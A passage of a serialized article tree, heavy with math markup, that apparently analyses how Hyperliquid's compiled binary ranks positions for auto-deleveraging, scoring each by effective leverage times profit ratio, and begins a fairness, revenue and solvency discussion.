",{"type":24,"tag":32,"props":161953,"children":161955},{"className":161954},[],[161956],{"type":29,"value":161957},"position_id",{"type":29,"value":13360},{"type":24,"tag":32,"props":161960,"children":161962},{"className":161961},[],[161963],{"type":29,"value":161964},"position_shortfall",{"type":29,"value":226},{"type":24,"tag":160876,"props":161967,"children":161970},{"addr":161247,"line-start":161968,"line-end":161969},"2377","2469",[],{"type":24,"tag":25,"props":161972,"children":161973},{},[161974,161976,161982],{"type":29,"value":161975},"Afterwards we can finally loop over the B-tree containing ",{"type":24,"tag":32,"props":161977,"children":161979},{"className":161978},[],[161980],{"type":29,"value":161981},"(position_id, cut)",{"type":29,"value":161983},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":24,"tag":25,"props":161985,"children":161986},{},[161987,161989,161994],{"type":29,"value":161988},"The final phase of ",{"type":24,"tag":32,"props":161990,"children":161992},{"className":161991},[],[161993],{"type":29,"value":161201},{"type":29,"value":161995}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":24,"tag":160876,"props":161997,"children":162000},{"addr":161247,"addr-start":161998,"addr-end":161999},"0x555556ac6d52","0x555556ac6de8",[],{"type":24,"tag":25,"props":162002,"children":162003},{},[162004],{"type":29,"value":162005},"How are positions chosen (sorted) to be deleveraged?",{"type":24,"tag":37188,"props":162007,"children":162009},{"id":162008},"who-do-we-deleverage",[162010],{"type":29,"value":162011},"Who Do We Deleverage?",{"type":24,"tag":25,"props":162013,"children":162014},{},[162015],{"type":29,"value":162016},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":24,"tag":25,"props":162018,"children":162019},{},[162020],{"type":29,"value":162021},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":24,"tag":25,"props":162023,"children":162024},{},[162025,162027,162034],{"type":29,"value":162026},"More formally, fairness can be given multiple related definitions; see ",{"type":24,"tag":69,"props":162028,"children":162031},{"href":162029,"rel":162030},"https://arxiv.org/abs/2512.01112",[73],[162032],{"type":29,"value":162033},"this paper",{"type":29,"value":162035},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":24,"tag":25,"props":162037,"children":162038},{},[162039],{"type":29,"value":162040},"So, is Hyperliquid fair? Is it always solvent?",{"type":24,"tag":850,"props":162042,"children":162044},{"id":162043},"adl-score-computation",[162045],{"type":29,"value":162046},"ADL Score Computation",{"type":24,"tag":25,"props":162048,"children":162049},{},[162050,162052,162058,162060,162066,162068,162073],{"type":29,"value":162051},"The score function at ",{"type":24,"tag":32,"props":162053,"children":162055},{"className":162054},[],[162056],{"type":29,"value":162057},"compute_adl_ranking_score",{"type":29,"value":162059}," is core to answering this question. It's defined, most likely as an ",{"type":24,"tag":32,"props":162061,"children":162063},{"className":162062},[],[162064],{"type":29,"value":162065},"Ord",{"type":29,"value":162067}," implementation on some 20-byte address representation. A ",{"type":24,"tag":32,"props":162069,"children":162071},{"className":162070},[],[162072],{"type":29,"value":3732},{"type":29,"value":162074}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":24,"tag":25,"props":162076,"children":162077},{},[162078,162080,162085,162087,162093,162095,162102,162104,162111],{"type":29,"value":162079},"Those sort routines are ",{"type":24,"tag":842,"props":162081,"children":162082},{},[162083],{"type":29,"value":162084},"generated by the compiler",{"type":29,"value":162086},": since Rust binaries include a lot of metadata by default in ",{"type":24,"tag":32,"props":162088,"children":162090},{"className":162089},[],[162091],{"type":29,"value":162092},".comment",{"type":29,"value":162094},", we may even manually ",{"type":24,"tag":69,"props":162096,"children":162099},{"href":162097,"rel":162098},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[73],[162100],{"type":29,"value":162101},"take advantage",{"type":29,"value":162103}," of this to recover the ",{"type":24,"tag":69,"props":162105,"children":162108},{"href":162106,"rel":162107},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[73],[162109],{"type":29,"value":162110},"exact source of library functions",{"type":29,"value":226},{"type":24,"tag":25,"props":162113,"children":162114},{},[162115,162117,162122],{"type":29,"value":162116},"Let's see how this ties back into the ",{"type":24,"tag":32,"props":162118,"children":162120},{"className":162119},[],[162121],{"type":29,"value":161201},{"type":29,"value":78},{"type":24,"tag":160876,"props":162124,"children":162126},{"source":161201,"target":162057,"direction":161202,"path":162125},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":24,"tag":25,"props":162128,"children":162129},{},[162130],{"type":29,"value":162131},"And here's the main call site used for sorting:",{"type":24,"tag":160876,"props":162133,"children":162136},{"addr":161247,"line-start":162134,"line-end":162135},"2806","2814",[],{"type":24,"tag":850,"props":162138,"children":162140},{"id":162139},"ratio-1-effective-leverage",[162141],{"type":29,"value":162142},"Ratio 1: Effective Leverage",{"type":24,"tag":80,"props":162144,"children":162145},{},[162146],{"type":24,"tag":32,"props":162147,"children":162149},{"className":162148},[6368,160904],[162150],{"type":24,"tag":90,"props":162151,"children":162153},{"className":162152},[160909],[162154],{"type":24,"tag":90,"props":162155,"children":162157},{"className":162156},[6374],[162158],{"type":24,"tag":90,"props":162159,"children":162161},{"className":162160,"ariaHidden":6380},[6379],[162162,162193],{"type":24,"tag":90,"props":162163,"children":162165},{"className":162164},[6385],[162166,162170,162180,162184,162189],{"type":24,"tag":90,"props":162167,"children":162169},{"className":162168,"style":116932},[6390],[],{"type":24,"tag":90,"props":162171,"children":162173},{"className":162172},[6396,29],[162174],{"type":24,"tag":90,"props":162175,"children":162177},{"className":162176},[6396],[162178],{"type":29,"value":162179},"effective leverage",{"type":24,"tag":90,"props":162181,"children":162183},{"className":162182,"style":6573},[6475],[],{"type":24,"tag":90,"props":162185,"children":162187},{"className":162186},[6578],[162188],{"type":29,"value":5491},{"type":24,"tag":90,"props":162190,"children":162192},{"className":162191,"style":6573},[6475],[],{"type":24,"tag":90,"props":162194,"children":162196},{"className":162195},[6385],[162197,162202],{"type":24,"tag":90,"props":162198,"children":162201},{"className":162199,"style":162200},[6390],"height:2.113em;vertical-align:-0.686em;",[],{"type":24,"tag":90,"props":162203,"children":162205},{"className":162204},[6396],[162206,162210,162305],{"type":24,"tag":90,"props":162207,"children":162209},{"className":162208},[23513,115395],[],{"type":24,"tag":90,"props":162211,"children":162213},{"className":162212},[115400],[162214],{"type":24,"tag":90,"props":162215,"children":162217},{"className":162216},[6417,23438],[162218,162293],{"type":24,"tag":90,"props":162219,"children":162221},{"className":162220},[6422],[162222,162288],{"type":24,"tag":90,"props":162223,"children":162225},{"className":162224,"style":160982},[6427],[162226,162247,162258],{"type":24,"tag":90,"props":162227,"children":162228},{"style":160986},[162229,162233],{"type":24,"tag":90,"props":162230,"children":162232},{"className":162231,"style":114048},[6436],[],{"type":24,"tag":90,"props":162234,"children":162236},{"className":162235},[6396],[162237],{"type":24,"tag":90,"props":162238,"children":162240},{"className":162239},[6396,29],[162241],{"type":24,"tag":90,"props":162242,"children":162244},{"className":162243},[6396],[162245],{"type":29,"value":162246},"account value",{"type":24,"tag":90,"props":162248,"children":162249},{"style":115450},[162250,162254],{"type":24,"tag":90,"props":162251,"children":162253},{"className":162252,"style":114048},[6436],[],{"type":24,"tag":90,"props":162255,"children":162257},{"className":162256,"style":115460},[115459],[],{"type":24,"tag":90,"props":162259,"children":162260},{"style":161037},[162261,162265],{"type":24,"tag":90,"props":162262,"children":162264},{"className":162263,"style":114048},[6436],[],{"type":24,"tag":90,"props":162266,"children":162268},{"className":162267},[6396],[162269,162274,162283],{"type":24,"tag":90,"props":162270,"children":162272},{"className":162271},[6396],[162273],{"type":29,"value":161052},{"type":24,"tag":90,"props":162275,"children":162277},{"className":162276},[6396,29],[162278],{"type":24,"tag":90,"props":162279,"children":162281},{"className":162280},[6396],[162282],{"type":29,"value":161062},{"type":24,"tag":90,"props":162284,"children":162286},{"className":162285},[6396],[162287],{"type":29,"value":161052},{"type":24,"tag":90,"props":162289,"children":162291},{"className":162290},[23541],[162292],{"type":29,"value":23544},{"type":24,"tag":90,"props":162294,"children":162296},{"className":162295},[6422],[162297],{"type":24,"tag":90,"props":162298,"children":162301},{"className":162299,"style":162300},[6427],"height:0.686em;",[162302],{"type":24,"tag":90,"props":162303,"children":162304},{},[],{"type":24,"tag":90,"props":162306,"children":162308},{"className":162307},[23535,115395],[],{"type":24,"tag":25,"props":162310,"children":162311},{},[162312,162314,162320,162322,162328,162329,162335,162337,162343],{"type":29,"value":162313},"We can see in the decompilation below, through the SIMD noise, that ",{"type":24,"tag":32,"props":162315,"children":162317},{"className":162316},[],[162318],{"type":29,"value":162319},"abs_notional",{"type":29,"value":162321}," (unsigned), and ",{"type":24,"tag":32,"props":162323,"children":162325},{"className":162324},[],[162326],{"type":29,"value":162327},"float.d(rbx)",{"type":29,"value":67},{"type":24,"tag":32,"props":162330,"children":162332},{"className":162331},[],[162333],{"type":29,"value":162334},"account_value",{"type":29,"value":162336}," (signed); the division is ",{"type":24,"tag":32,"props":162338,"children":162340},{"className":162339},[],[162341],{"type":29,"value":162342},"abs_notional / account_value",{"type":29,"value":226},{"type":24,"tag":25,"props":162345,"children":162346},{},[162347],{"type":29,"value":162348},"This tells us the risk multiplier that the user took on for this position.",{"type":24,"tag":160876,"props":162350,"children":162354},{"addr":162351,"line-start":162352,"line-end":162353},"0x555556abb140","278","296",[],{"type":24,"tag":850,"props":162356,"children":162358},{"id":162357},"ratio-2-profit-ratio",[162359],{"type":29,"value":162360},"Ratio 2: Profit Ratio",{"type":24,"tag":80,"props":162362,"children":162363},{},[162364],{"type":24,"tag":32,"props":162365,"children":162367},{"className":162366},[6368,160904],[162368],{"type":24,"tag":90,"props":162369,"children":162371},{"className":162370},[160909],[162372],{"type":24,"tag":90,"props":162373,"children":162375},{"className":162374},[6374],[162376],{"type":24,"tag":90,"props":162377,"children":162379},{"className":162378,"ariaHidden":6380},[6379],[162380,162411],{"type":24,"tag":90,"props":162381,"children":162383},{"className":162382},[6385],[162384,162388,162398,162402,162407],{"type":24,"tag":90,"props":162385,"children":162387},{"className":162386,"style":116932},[6390],[],{"type":24,"tag":90,"props":162389,"children":162391},{"className":162390},[6396,29],[162392],{"type":24,"tag":90,"props":162393,"children":162395},{"className":162394},[6396],[162396],{"type":29,"value":162397},"profit ratio",{"type":24,"tag":90,"props":162399,"children":162401},{"className":162400,"style":6573},[6475],[],{"type":24,"tag":90,"props":162403,"children":162405},{"className":162404},[6578],[162406],{"type":29,"value":5491},{"type":24,"tag":90,"props":162408,"children":162410},{"className":162409,"style":6573},[6475],[],{"type":24,"tag":90,"props":162412,"children":162414},{"className":162413},[6385],[162415,162419],{"type":24,"tag":90,"props":162416,"children":162418},{"className":162417,"style":160957},[6390],[],{"type":24,"tag":90,"props":162420,"children":162422},{"className":162421},[6396],[162423,162427,162546],{"type":24,"tag":90,"props":162424,"children":162426},{"className":162425},[23513,115395],[],{"type":24,"tag":90,"props":162428,"children":162430},{"className":162429},[115400],[162431],{"type":24,"tag":90,"props":162432,"children":162434},{"className":162433},[6417,23438],[162435,162535],{"type":24,"tag":90,"props":162436,"children":162438},{"className":162437},[6422],[162439,162530],{"type":24,"tag":90,"props":162440,"children":162442},{"className":162441,"style":160982},[6427],[162443,162464,162475],{"type":24,"tag":90,"props":162444,"children":162445},{"style":160986},[162446,162450],{"type":24,"tag":90,"props":162447,"children":162449},{"className":162448,"style":114048},[6436],[],{"type":24,"tag":90,"props":162451,"children":162453},{"className":162452},[6396],[162454],{"type":24,"tag":90,"props":162455,"children":162457},{"className":162456},[6396,29],[162458],{"type":24,"tag":90,"props":162459,"children":162461},{"className":162460},[6396],[162462],{"type":29,"value":162463},"entry notional",{"type":24,"tag":90,"props":162465,"children":162466},{"style":115450},[162467,162471],{"type":24,"tag":90,"props":162468,"children":162470},{"className":162469,"style":114048},[6436],[],{"type":24,"tag":90,"props":162472,"children":162474},{"className":162473,"style":115460},[115459],[],{"type":24,"tag":90,"props":162476,"children":162477},{"style":161037},[162478,162482],{"type":24,"tag":90,"props":162479,"children":162481},{"className":162480,"style":114048},[6436],[],{"type":24,"tag":90,"props":162483,"children":162485},{"className":162484},[6396],[162486,162492,162497,162507,162512,162516,162520,162525],{"type":24,"tag":90,"props":162487,"children":162489},{"className":162488},[23420],[162490],{"type":29,"value":162491},"max",{"type":24,"tag":90,"props":162493,"children":162495},{"className":162494},[23513],[162496],{"type":29,"value":117},{"type":24,"tag":90,"props":162498,"children":162500},{"className":162499},[6396,29],[162501],{"type":24,"tag":90,"props":162502,"children":162504},{"className":162503},[6396],[162505],{"type":29,"value":162506},"pnl",{"type":24,"tag":90,"props":162508,"children":162510},{"className":162509},[6507],[162511],{"type":29,"value":6510},{"type":24,"tag":90,"props":162513,"children":162515},{"className":162514,"style":6514},[6475],[],{"type":24,"tag":90,"props":162517,"children":162519},{"className":162518,"style":6514},[6475],[],{"type":24,"tag":90,"props":162521,"children":162523},{"className":162522},[6396],[162524],{"type":29,"value":6408},{"type":24,"tag":90,"props":162526,"children":162528},{"className":162527},[23535],[162529],{"type":29,"value":517},{"type":24,"tag":90,"props":162531,"children":162533},{"className":162532},[23541],[162534],{"type":29,"value":23544},{"type":24,"tag":90,"props":162536,"children":162538},{"className":162537},[6422],[162539],{"type":24,"tag":90,"props":162540,"children":162542},{"className":162541,"style":161080},[6427],[162543],{"type":24,"tag":90,"props":162544,"children":162545},{},[],{"type":24,"tag":90,"props":162547,"children":162549},{"className":162548},[23535,115395],[],{"type":24,"tag":25,"props":162551,"children":162552},{},[162553,162555,162561],{"type":29,"value":162554},"It uses entry notional (",{"type":24,"tag":32,"props":162556,"children":162558},{"className":162557},[],[162559],{"type":29,"value":162560},"r14_2",{"type":29,"value":162562},") as the divisor. PNL is clamped to non-negative before division.",{"type":24,"tag":25,"props":162564,"children":162565},{},[162566],{"type":29,"value":162567},"This basically tells us how well the user's bet went.",{"type":24,"tag":160876,"props":162569,"children":162573},{"addr":162570,"addr-start":162571,"addr-end":162572},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":24,"tag":25,"props":162575,"children":162576},{},[162577,162579,162585,162587,162593],{"type":29,"value":162578},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":24,"tag":32,"props":162580,"children":162582},{"className":162581},[],[162583],{"type":29,"value":162584},"1e-8",{"type":29,"value":162586},", in order not to cancel each other out. The final ADL ranking score is ",{"type":24,"tag":32,"props":162588,"children":162590},{"className":162589},[],[162591],{"type":29,"value":162592},"effective_leverage * profit_ratio",{"type":29,"value":162594},", consistent with both ratio directions and the max clamp on PNL.",{"type":24,"tag":25,"props":162596,"children":162597},{},[162598],{"type":29,"value":162599},"So, in essence, we look for risky and profitable positions!",{"type":24,"tag":1019,"props":162601,"children":162603},{"id":162602},"partial-and-total-adl",[162604],{"type":29,"value":162605},"Partial and Total ADL",{"type":24,"tag":25,"props":162607,"children":162608},{},[162609],{"type":29,"value":162610},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":24,"tag":25,"props":162612,"children":162613},{},[162614],{"type":29,"value":162615},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":24,"tag":25,"props":162617,"children":162618},{},[162619,162621,162626],{"type":29,"value":162620},"So essentially, in pseudocode, the whole latter part of ",{"type":24,"tag":32,"props":162622,"children":162624},{"className":162623},[],[162625],{"type":29,"value":161201},{"type":29,"value":162627}," boils down to:",{"type":24,"tag":160876,"props":162629,"children":162632},{"addr":161247,"line-start":162630,"line-end":162631},"3252","3632",[],{"type":24,"tag":25,"props":162634,"children":162635},{},[162636],{"type":29,"value":162637},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":24,"tag":37188,"props":162639,"children":162641},{"id":162640},"branches",[162642],{"type":29,"value":162643},"Branches",{"type":24,"tag":25,"props":162645,"children":162646},{},[162647],{"type":29,"value":162648},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":24,"tag":25,"props":162650,"children":162651},{},[162652],{"type":29,"value":162653},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":24,"tag":37188,"props":162655,"children":162657},{"id":162656},"financial-conclusions",[162658],{"type":29,"value":162659},"Financial Conclusions",{"type":24,"tag":850,"props":162661,"children":162663},{"id":162662},"fairness-revenue-solvency-trilemma",[162664],{"type":29,"value":162665},"Fairness, Revenue, Solvency Trilemma",{"type":24,"tag":25,"props":162667,"children":162668},{},[162669,162671,162677],{"type":29,"value":162670},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":24,"tag":69,"props":162672,"children":162674},{"href":162029,"rel":162673},[73],[162675],{"type":29,"value":162676},"the paper mentioned before",{"type":29,"value":162678},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":24,"tag":3207,"props":162680,"children":162681},{},[162682,162692,162702],{"type":24,"tag":3104,"props":162683,"children":162684},{},[162685,162690],{"type":24,"tag":842,"props":162686,"children":162687},{},[162688],{"type":29,"value":162689},"Solvency",{"type":29,"value":162691},": can the platform pay every trader out?",{"type":24,"tag":3104,"props":162693,"children":162694},{},[162695,162700],{"type":24,"tag":842,"props":162696,"children":162697},{},[162698],{"type":29,"value":162699},"Fairness",{"type":29,"value":162701},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":24,"tag":3104,"props":162703,"children":162704},{},[162705,162710],{"type":24,"tag":842,"props":162706,"children":162707},{},[162708],{"type":29,"value":162709},"Revenue",{"type":29,"value":162711},": the fraction of total winner PNL that survives after deleveraging.",{"type":24,"tag":25,"props":162713,"children":162714},{},[162715],{"type":29,"value":162716},"Let's borrow these definitions from the paper:",{"type":24,"tag":80,"props":162718,"children":162719},{},[162720],{"type":24,"tag":32,"props":162721,"children":162723},{"className":162722},[6368,160904],[162724],{"type":24,"tag":90,"props":162725,"children":162727},{"className":162726},[160909],[162728],{"type":24,"tag":90,"props":162729,"children":162731},{"className":162730},[6374],[162732],{"type":24,"tag":90,"props":162733,"children":162735},{"className":162734,"ariaHidden":6380},[6379],[162736],{"type":24,"tag":90,"props":162737,"children":162739},{"className":162738},[6385],[162740,162745],{"type":24,"tag":90,"props":162741,"children":162744},{"className":162742,"style":162743},[6390],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":24,"tag":90,"props":162746,"children":162748},{"className":162747},[6396],[162749],{"type":24,"tag":90,"props":162750,"children":162752},{"className":162751},[161606],[162753,163572],{"type":24,"tag":90,"props":162754,"children":162756},{"className":162755},[161611],[162757],{"type":24,"tag":90,"props":162758,"children":162760},{"className":162759},[6417,23438],[162761,163560],{"type":24,"tag":90,"props":162762,"children":162764},{"className":162763},[6422],[162765,163555],{"type":24,"tag":90,"props":162766,"children":162769},{"className":162767,"style":162768},[6427],"height:11.8392em;",[162770,162841,162858,162927,162997,163066,163136,163205,163274,163343,163413,163484],{"type":24,"tag":90,"props":162771,"children":162773},{"style":162772},"top:-14.3707em;",[162774,162779],{"type":24,"tag":90,"props":162775,"children":162778},{"className":162776,"style":162777},[6436],"height:3.3714em;",[],{"type":24,"tag":90,"props":162780,"children":162782},{"className":162781},[6396],[162783],{"type":24,"tag":90,"props":162784,"children":162786},{"className":162785},[6396],[162787,162792],{"type":24,"tag":90,"props":162788,"children":162790},{"className":162789,"style":23385},[6396,23384],[162791],{"type":29,"value":23388},{"type":24,"tag":90,"props":162793,"children":162795},{"className":162794},[6412],[162796],{"type":24,"tag":90,"props":162797,"children":162799},{"className":162798},[6417,23438],[162800,162830],{"type":24,"tag":90,"props":162801,"children":162803},{"className":162802},[6422],[162804,162825],{"type":24,"tag":90,"props":162805,"children":162807},{"className":162806,"style":111309},[6427],[162808],{"type":24,"tag":90,"props":162809,"children":162811},{"style":162810},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[162812,162816],{"type":24,"tag":90,"props":162813,"children":162815},{"className":162814,"style":6437},[6436],[],{"type":24,"tag":90,"props":162817,"children":162819},{"className":162818},[6442,6443,6444,6445],[162820],{"type":24,"tag":90,"props":162821,"children":162823},{"className":162822},[6396,23384,6445],[162824],{"type":29,"value":58228},{"type":24,"tag":90,"props":162826,"children":162828},{"className":162827},[23541],[162829],{"type":29,"value":23544},{"type":24,"tag":90,"props":162831,"children":162833},{"className":162832},[6422],[162834],{"type":24,"tag":90,"props":162835,"children":162837},{"className":162836,"style":94960},[6427],[162838],{"type":24,"tag":90,"props":162839,"children":162840},{},[],{"type":24,"tag":90,"props":162842,"children":162844},{"style":162843},"top:-12.8707em;",[162845,162849],{"type":24,"tag":90,"props":162846,"children":162848},{"className":162847,"style":162777},[6436],[],{"type":24,"tag":90,"props":162850,"children":162852},{"className":162851},[6396],[162853],{"type":24,"tag":90,"props":162854,"children":162856},{"className":162855,"style":96897},[6396,23384],[162857],{"type":29,"value":96931},{"type":24,"tag":90,"props":162859,"children":162861},{"style":162860},"top:-10.8392em;",[162862,162866],{"type":24,"tag":90,"props":162863,"children":162865},{"className":162864,"style":162777},[6436],[],{"type":24,"tag":90,"props":162867,"children":162869},{"className":162868},[6396],[162870],{"type":24,"tag":90,"props":162871,"children":162873},{"className":162872},[6396],[162874,162879],{"type":24,"tag":90,"props":162875,"children":162877},{"className":162876},[6396,23384],[162878],{"type":29,"value":3030},{"type":24,"tag":90,"props":162880,"children":162882},{"className":162881},[6412],[162883],{"type":24,"tag":90,"props":162884,"children":162886},{"className":162885},[6417,23438],[162887,162916],{"type":24,"tag":90,"props":162888,"children":162890},{"className":162889},[6422],[162891,162911],{"type":24,"tag":90,"props":162892,"children":162894},{"className":162893,"style":95406},[6427],[162895],{"type":24,"tag":90,"props":162896,"children":162897},{"style":94933},[162898,162902],{"type":24,"tag":90,"props":162899,"children":162901},{"className":162900,"style":6437},[6436],[],{"type":24,"tag":90,"props":162903,"children":162905},{"className":162904},[6442,6443,6444,6445],[162906],{"type":24,"tag":90,"props":162907,"children":162909},{"className":162908},[6396,23384,6445],[162910],{"type":29,"value":6123},{"type":24,"tag":90,"props":162912,"children":162914},{"className":162913},[23541],[162915],{"type":29,"value":23544},{"type":24,"tag":90,"props":162917,"children":162919},{"className":162918},[6422],[162920],{"type":24,"tag":90,"props":162921,"children":162923},{"className":162922,"style":94960},[6427],[162924],{"type":24,"tag":90,"props":162925,"children":162926},{},[],{"type":24,"tag":90,"props":162928,"children":162930},{"style":162929},"top:-8.8188em;",[162931,162935],{"type":24,"tag":90,"props":162932,"children":162934},{"className":162933,"style":162777},[6436],[],{"type":24,"tag":90,"props":162936,"children":162938},{"className":162937},[6396],[162939],{"type":24,"tag":90,"props":162940,"children":162942},{"className":162941},[6396],[162943,162949],{"type":24,"tag":90,"props":162944,"children":162946},{"className":162945,"style":95363},[6396,23384],[162947],{"type":29,"value":162948},"π",{"type":24,"tag":90,"props":162950,"children":162952},{"className":162951},[6412],[162953],{"type":24,"tag":90,"props":162954,"children":162956},{"className":162955},[6417,23438],[162957,162986],{"type":24,"tag":90,"props":162958,"children":162960},{"className":162959},[6422],[162961,162981],{"type":24,"tag":90,"props":162962,"children":162964},{"className":162963,"style":95406},[6427],[162965],{"type":24,"tag":90,"props":162966,"children":162967},{"style":95410},[162968,162972],{"type":24,"tag":90,"props":162969,"children":162971},{"className":162970,"style":6437},[6436],[],{"type":24,"tag":90,"props":162973,"children":162975},{"className":162974},[6442,6443,6444,6445],[162976],{"type":24,"tag":90,"props":162977,"children":162979},{"className":162978},[6396,23384,6445],[162980],{"type":29,"value":6123},{"type":24,"tag":90,"props":162982,"children":162984},{"className":162983},[23541],[162985],{"type":29,"value":23544},{"type":24,"tag":90,"props":162987,"children":162989},{"className":162988},[6422],[162990],{"type":24,"tag":90,"props":162991,"children":162993},{"className":162992,"style":94960},[6427],[162994],{"type":24,"tag":90,"props":162995,"children":162996},{},[],{"type":24,"tag":90,"props":162998,"children":163000},{"style":162999},"top:-7.3188em;",[163001,163005],{"type":24,"tag":90,"props":163002,"children":163004},{"className":163003,"style":162777},[6436],[],{"type":24,"tag":90,"props":163006,"children":163008},{"className":163007},[6396],[163009],{"type":24,"tag":90,"props":163010,"children":163012},{"className":163011},[6396],[163013,163018],{"type":24,"tag":90,"props":163014,"children":163016},{"className":163015},[6396,23384],[163017],{"type":29,"value":53278},{"type":24,"tag":90,"props":163019,"children":163021},{"className":163020},[6412],[163022],{"type":24,"tag":90,"props":163023,"children":163025},{"className":163024},[6417,23438],[163026,163055],{"type":24,"tag":90,"props":163027,"children":163029},{"className":163028},[6422],[163030,163050],{"type":24,"tag":90,"props":163031,"children":163033},{"className":163032,"style":95406},[6427],[163034],{"type":24,"tag":90,"props":163035,"children":163036},{"style":94933},[163037,163041],{"type":24,"tag":90,"props":163038,"children":163040},{"className":163039,"style":6437},[6436],[],{"type":24,"tag":90,"props":163042,"children":163044},{"className":163043},[6442,6443,6444,6445],[163045],{"type":24,"tag":90,"props":163046,"children":163048},{"className":163047},[6396,23384,6445],[163049],{"type":29,"value":6123},{"type":24,"tag":90,"props":163051,"children":163053},{"className":163052},[23541],[163054],{"type":29,"value":23544},{"type":24,"tag":90,"props":163056,"children":163058},{"className":163057},[6422],[163059],{"type":24,"tag":90,"props":163060,"children":163062},{"className":163061,"style":94960},[6427],[163063],{"type":24,"tag":90,"props":163064,"children":163065},{},[],{"type":24,"tag":90,"props":163067,"children":163069},{"style":163068},"top:-5.8188em;",[163070,163074],{"type":24,"tag":90,"props":163071,"children":163073},{"className":163072,"style":162777},[6436],[],{"type":24,"tag":90,"props":163075,"children":163077},{"className":163076},[6396],[163078],{"type":24,"tag":90,"props":163079,"children":163081},{"className":163080},[6396],[163082,163087],{"type":24,"tag":90,"props":163083,"children":163085},{"className":163084,"style":124157},[6396,23384],[163086],{"type":29,"value":51395},{"type":24,"tag":90,"props":163088,"children":163090},{"className":163089},[6412],[163091],{"type":24,"tag":90,"props":163092,"children":163094},{"className":163093},[6417,23438],[163095,163125],{"type":24,"tag":90,"props":163096,"children":163098},{"className":163097},[6422],[163099,163120],{"type":24,"tag":90,"props":163100,"children":163102},{"className":163101,"style":95406},[6427],[163103],{"type":24,"tag":90,"props":163104,"children":163106},{"style":163105},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[163107,163111],{"type":24,"tag":90,"props":163108,"children":163110},{"className":163109,"style":6437},[6436],[],{"type":24,"tag":90,"props":163112,"children":163114},{"className":163113},[6442,6443,6444,6445],[163115],{"type":24,"tag":90,"props":163116,"children":163118},{"className":163117},[6396,23384,6445],[163119],{"type":29,"value":6123},{"type":24,"tag":90,"props":163121,"children":163123},{"className":163122},[23541],[163124],{"type":29,"value":23544},{"type":24,"tag":90,"props":163126,"children":163128},{"className":163127},[6422],[163129],{"type":24,"tag":90,"props":163130,"children":163132},{"className":163131,"style":94960},[6427],[163133],{"type":24,"tag":90,"props":163134,"children":163135},{},[],{"type":24,"tag":90,"props":163137,"children":163139},{"style":163138},"top:-4.3188em;",[163140,163144],{"type":24,"tag":90,"props":163141,"children":163143},{"className":163142,"style":162777},[6436],[],{"type":24,"tag":90,"props":163145,"children":163147},{"className":163146},[6396],[163148],{"type":24,"tag":90,"props":163149,"children":163151},{"className":163150},[6396],[163152,163157],{"type":24,"tag":90,"props":163153,"children":163155},{"className":163154},[6396,23384],[163156],{"type":29,"value":21070},{"type":24,"tag":90,"props":163158,"children":163160},{"className":163159},[6412],[163161],{"type":24,"tag":90,"props":163162,"children":163164},{"className":163163},[6417,23438],[163165,163194],{"type":24,"tag":90,"props":163166,"children":163168},{"className":163167},[6422],[163169,163189],{"type":24,"tag":90,"props":163170,"children":163172},{"className":163171,"style":95406},[6427],[163173],{"type":24,"tag":90,"props":163174,"children":163175},{"style":94933},[163176,163180],{"type":24,"tag":90,"props":163177,"children":163179},{"className":163178,"style":6437},[6436],[],{"type":24,"tag":90,"props":163181,"children":163183},{"className":163182},[6442,6443,6444,6445],[163184],{"type":24,"tag":90,"props":163185,"children":163187},{"className":163186},[6396,23384,6445],[163188],{"type":29,"value":6123},{"type":24,"tag":90,"props":163190,"children":163192},{"className":163191},[23541],[163193],{"type":29,"value":23544},{"type":24,"tag":90,"props":163195,"children":163197},{"className":163196},[6422],[163198],{"type":24,"tag":90,"props":163199,"children":163201},{"className":163200,"style":94960},[6427],[163202],{"type":24,"tag":90,"props":163203,"children":163204},{},[],{"type":24,"tag":90,"props":163206,"children":163208},{"style":163207},"top:-2.5512em;",[163209,163213],{"type":24,"tag":90,"props":163210,"children":163212},{"className":163211,"style":162777},[6436],[],{"type":24,"tag":90,"props":163214,"children":163216},{"className":163215},[6396],[163217],{"type":24,"tag":90,"props":163218,"children":163220},{"className":163219},[6396],[163221,163226],{"type":24,"tag":90,"props":163222,"children":163224},{"className":163223},[6396,23384],[163225],{"type":29,"value":86175},{"type":24,"tag":90,"props":163227,"children":163229},{"className":163228},[6412],[163230],{"type":24,"tag":90,"props":163231,"children":163233},{"className":163232},[6417,23438],[163234,163263],{"type":24,"tag":90,"props":163235,"children":163237},{"className":163236},[6422],[163238,163258],{"type":24,"tag":90,"props":163239,"children":163241},{"className":163240,"style":95406},[6427],[163242],{"type":24,"tag":90,"props":163243,"children":163244},{"style":94933},[163245,163249],{"type":24,"tag":90,"props":163246,"children":163248},{"className":163247,"style":6437},[6436],[],{"type":24,"tag":90,"props":163250,"children":163252},{"className":163251},[6442,6443,6444,6445],[163253],{"type":24,"tag":90,"props":163254,"children":163256},{"className":163255},[6396,23384,6445],[163257],{"type"